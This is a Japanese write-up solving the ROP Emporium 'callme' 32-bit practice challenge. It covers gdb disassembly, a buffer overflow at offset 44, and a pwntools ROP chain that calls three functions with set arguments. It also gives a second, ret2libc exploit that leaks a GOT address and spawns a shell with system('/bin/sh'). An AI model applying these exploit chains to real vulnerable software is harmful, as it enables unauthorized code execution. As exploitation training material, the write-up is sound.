ROP Emporium callme (32bit)
ROP Emporium
ROP Emporium
ROPの練習サイトです.
2020年7月に更新されていろいろ変わってるみたい.
callme (32bit)
$ ./callme32 callme by ROP Emporium x86 Hope you read the instructions... > aaaa Thank you! Exiting $ ./callme32 callme by ROP Emporium x86 Hope you read the instructions... > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Thank you! Exiting Segmentation fault
gdbで解析していきます.
$ gdb ./callme32 gdb-peda$ i func All defined functions: Non-debugging symbols: 0x0804848c _init 0x080484c0 read@plt 0x080484d0 printf@plt 0x080484e0 callme_three@plt 0x080484f0 callme_one@plt 0x08048500 puts@plt 0x08048510 exit@plt 0x08048520 __libc_start_main@plt 0x08048530 setvbuf@plt 0x08048540 memset@plt 0x08048550 callme_two@plt 0x08048560 __gmon_start__@plt 0x08048570 _start 0x080485b0 _dl_relocate_static_pie 0x080485c0 __x86.get_pc_thunk.bx 0x080485d0 deregister_tm_clones 0x08048610 register_tm_clones 0x08048650 __do_global_dtors_aux 0x08048680 frame_dummy 0x08048686 main 0x080486ed pwnme 0x0804874f usefulFunction 0x080487a0 __libc_csu_init 0x08048800 __libc_csu_fini 0x08048804 _fini
usefulFunction
を見てみます.
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x0804874f <+0>: push ebp 0x08048750 <+1>: mov ebp,esp 0x08048752 <+3>: sub esp,0x8 0x08048755 <+6>: sub esp,0x4 0x08048758 <+9>: push 0x6 0x0804875a <+11>: push 0x5 0x0804875c <+13>: push 0x4 0x0804875e <+15>: call 0x80484e0 <callme_three@plt> 0x08048763 <+20>: add esp,0x10 0x08048766 <+23>: sub esp,0x4 0x08048769 <+26>: push 0x6 0x0804876b <+28>: push 0x5 0x0804876d <+30>: push 0x4 0x0804876f <+32>: call 0x8048550 <callme_two@plt> 0x08048774 <+37>: add esp,0x10 0x08048777 <+40>: sub esp,0x4 0x0804877a <+43>: push 0x6 0x0804877c <+45>: push 0x5 0x0804877e <+47>: push 0x4 0x08048780 <+49>: call 0x80484f0 <callme_one@plt> 0x08048785 <+54>: add esp,0x10 0x08048788 <+57>: sub esp,0xc 0x0804878b <+60>: push 0x1 0x0804878d <+62>: call 0x8048510 <exit@plt> End of assembler dump.
callme_one
, callme_two
, callme_three
が呼ばれています. 引数が3つ必要みたいで4,5,6が指定されています.
プログラムを走らせてcallme_one
を見てみます.
gdb-peda$ start gdb-peda$ disas callme_one Dump of assembler code for function callme_one: 0xf7fca63d <+0>: push ebp 0xf7fca63e <+1>: mov ebp,esp 0xf7fca640 <+3>: push ebx 0xf7fca641 <+4>: sub esp,0x14 0xf7fca644 <+7>: call 0xf7fca540 <__x86.get_pc_thunk.bx> 0xf7fca649 <+12>: add ebx,0x19b7 0xf7fca64f <+18>: cmp DWORD PTR [ebp+0x8],0xdeadbeef 0xf7fca656 <+25>: jne 0xf7fca733 <callme_one+246> 0xf7fca65c <+31>: cmp DWORD PTR [ebp+0xc],0xcafebabe 0xf7fca663 <+38>: jne 0xf7fca733 <callme_one+246> 0xf7fca669 <+44>: cmp DWORD PTR [ebp+0x10],0xd00df00d 0xf7fca670 <+51>: jne 0xf7fca733 <callme_one+246> 0xf7fca676 <+57>: mov DWORD PTR [ebp-0xc],0x0 0xf7fca67d <+64>: sub esp,0x8 0xf7fca680 <+67>: lea eax,[ebx-0x1600] 0xf7fca686 <+73>: push eax 0xf7fca687 <+74>: lea eax,[ebx-0x15fe] 0xf7fca68d <+80>: push eax 0xf7fca68e <+81>: call 0xf7fca510 <fopen@plt> 0xf7fca693 <+86>: add esp,0x10 0xf7fca696 <+89>: mov DWORD PTR [ebp-0xc],eax 0xf7fca699 <+92>: cmp DWORD PTR [ebp-0xc],0x0 0xf7fca69d <+96>: jne 0xf7fca6bb <callme_one+126> 0xf7fca69f <+98>: sub esp,0xc 0xf7fca6a2 <+101>: lea eax,[ebx-0x15e8] 0xf7fca6a8 <+107>: push eax 0xf7fca6a9 <+108>: call 0xf7fca4f0 <puts@plt> 0xf7fca6ae <+113>: add esp,0x10 0xf7fca6b1 <+116>: sub esp,0xc 0xf7fca6b4 <+119>: push 0x1 0xf7fca6b6 <+121>: call 0xf7fca500 <exit@plt> 0xf7fca6bb <+126>: sub esp,0xc 0xf7fca6be <+129>: push 0x21 0xf7fca6c0 <+131>: call 0xf7fca4e0 <malloc@plt> 0xf7fca6c5 <+136>: add esp,0x10 0xf7fca6c8 <+139>: mov DWORD PTR [ebx+0x30],eax 0xf7fca6ce <+145>: mov eax,DWORD PTR [ebx+0x30] 0xf7fca6d4 <+151>: test eax,eax 0xf7fca6d6 <+153>: jne 0xf7fca6f4 <callme_one+183> 0xf7fca6d8 <+155>: sub esp,0xc 0xf7fca6db <+158>: lea eax,[ebx-0x15c6] 0xf7fca6e1 <+164>: push eax 0xf7fca6e2 <+165>: call 0xf7fca4f0 <puts@plt> 0xf7fca6e7 <+170>: add esp,0x10 0xf7fca6ea <+173>: sub esp,0xc 0xf7fca6ed <+176>: push 0x1 0xf7fca6ef <+178>: call 0xf7fca500 <exit@plt> 0xf7fca6f4 <+183>: mov eax,DWORD PTR [ebx+0x30] 0xf7fca6fa <+189>: sub esp,0x4 0xf7fca6fd <+192>: push DWORD PTR [ebp-0xc] 0xf7fca700 <+195>: push 0x21 0xf7fca702 <+197>: push eax 0xf7fca703 <+198>: call 0xf7fca4c0 <fgets@plt> 0xf7fca708 <+203>: add esp,0x10 0xf7fca70b <+206>: mov DWORD PTR [ebx+0x30],eax 0xf7fca711 <+212>: sub esp,0xc 0xf7fca714 <+215>: push DWORD PTR [ebp-0xc] 0xf7fca717 <+218>: call 0xf7fca4d0 <fclose@plt> 0xf7fca71c <+223>: add esp,0x10 0xf7fca71f <+226>: sub esp,0xc 0xf7fca722 <+229>: lea eax,[ebx-0x15ac] 0xf7fca728 <+235>: push eax 0xf7fca729 <+236>: call 0xf7fca4f0 <puts@plt> 0xf7fca72e <+241>: add esp,0x10 0xf7fca731 <+244>: jmp 0xf7fca74f <callme_one+274> 0xf7fca733 <+246>: sub esp,0xc 0xf7fca736 <+249>: lea eax,[ebx-0x158e] 0xf7fca73c <+255>: push eax 0xf7fca73d <+256>: call 0xf7fca4f0 <puts@plt> 0xf7fca742 <+261>: add esp,0x10 0xf7fca745 <+264>: sub esp,0xc 0xf7fca748 <+267>: push 0x1 0xf7fca74a <+269>: call 0xf7fca500 <exit@plt> 0xf7fca74f <+274>: nop 0xf7fca750 <+275>: mov ebx,DWORD PTR [ebp-0x4] 0xf7fca753 <+278>: leave 0xf7fca754 <+279>: ret End of assembler dump.
第1引数が0xdeadbeef
, 第2引数が0xcafebabe
, 第3引数が0xd00df00d
でないとダメみたいです. その後, fopen
が呼ばれています.
callme_two
, callme_three
もcallme_one
と同様に引数のチェックが行われ, fopen
が呼ばれています.
ここにあるように適切な引数でcallme_one
, callme_two
, callme_three
の順に呼び出せばよさそうです.
main
とpwnme
はret2winと同じで, pwnme
でバッファオーバーフローが起こります. offsetは44.
関数を順番に実行するにはリターンアドレスを次に実行する関数のアドレスにすればいいですが, 引数の配置が悪く実行できません. そこで引数をpop
してからret
することで次の関数を実行できます. ここでは3つの引数があるのでpop
を3回してからret
します.
gdb-peda$ ropgadget ret = 0x8048496 popret = 0x80484ad pop2ret = 0x80487fa pop3ret = 0x80487f9 pop4ret = 0x80487f8 addesp_12 = 0x80484aa addesp_16 = 0x80485f2
0x80487f9
にとばせばpop
を3回してからret
してくれます.
+--------------------+ | AAAA | +--------------------+ | callme_one@plt | +--------------------+ | pop3ret | +--------------------+ | 0xdeadbeef | +--------------------+ | 0xcafebabe | +--------------------+ | 0xd00df00d | +--------------------+ | callme_two@plt | +--------------------+ | pop3ret | +--------------------+ | 0xdeadbeef | +--------------------+ | 0xcafebabe | +--------------------+ | 0xd00df00d | +--------------------+ | callme_three@plt | +--------------------+ | pop3ret | +--------------------+ | 0xdeadbeef | +--------------------+ | 0xcafebabe | +--------------------+ | 0xd00df00d | +--------------------+
スクリプトを書いた.
from pwn import * p=process('./callme32') e=ELF('./callme32') callme_one_plt=e.plt['callme_one'] callme_two_plt=e.plt['callme_two'] callme_three_plt=e.plt['callme_three'] pop3ret=0x80487f9 arg1=0xdeadbeef arg2=0xcafebabe arg3=0xd00df00d payload=b'A'*44 payload+=p32(callme_one_plt) payload+=p32(pop3ret) payload+=p32(arg1) payload+=p32(arg2) payload+=p32(arg3) payload+=p32(callme_two_plt) payload+=p32(pop3ret) payload+=p32(arg1) payload+=p32(arg2) payload+=p32(arg3) payload+=p32(callme_three_plt) payload+=p32(pop3ret) payload+=p32(arg1) payload+=p32(arg2) payload+=p32(arg3) p.recv() p.sendline(payload) print(p.recvall().decode())
別解
シェルの起動を目指します.
GOT領域に存在するlibc
内の関数のアドレスをリークしてそれをもとに各関数のアドレスを計算します.
libc
内での各関数のアドレスを調べます. また, /bin/sh
が必要なのでそのアドレスも調べます.
$ ldd ./callme32 linux-gate.so.1 (0xf7f92000) libcallme32.so => ./libcallme32.so (0xf7f8a000) libc.so.6 => /lib32/libc.so.6 (0xf7d8c000) /lib/ld-linux.so.2 (0xf7f93000) $ nm -D /lib32/libc.so.6 | grep system 00044f00 T __libc_system 001344e0 T svcerr_systemerr 00044f00 W system $ nm -D /lib32/libc.so.6 | grep puts 0006eae0 T _IO_fputs 00070320 T _IO_puts 0006eae0 W fputs 00079a70 W fputs_unlocked 00070320 W puts 0010afb0 T putsgent 001093a0 T putspent $ strings -tx /lib32/libc.so.6 | grep /bin/sh 18c32b /bin/sh
やることは以下の通りです.
puts
関数でputs
のGOTアドレスをリークmain
に戻る- リークしたアドレスをもとに関数と引数のアドレスを計算
system("/bin/sh")
を実行
from pwn import * p=process('./callme32') e=ELF('./callme32') puts_plt=e.plt['puts'] puts_got=e.got['puts'] main=e.symbols['main'] pop_ret=0x80484ad system_libc=0x00044f00 puts_libc=0x00070320 arg_libc=0x18c32b payload=b'A'*44 payload+=p32(puts_plt) payload+=p32(pop_ret) payload+=p32(puts_got) payload+=p32(main) p.recv() p.sendline(payload) p.recvuntil('Thank you!\n') libc=u32(p.recv(4))-puts_libc system=libc+system_libc arg=libc+arg_libc print(hex(libc)) payload=b'A'*44 payload+=p32(system) payload+=b'BBBB' payload+=p32(arg) p.recv() p.sendline(payload) p.interactive()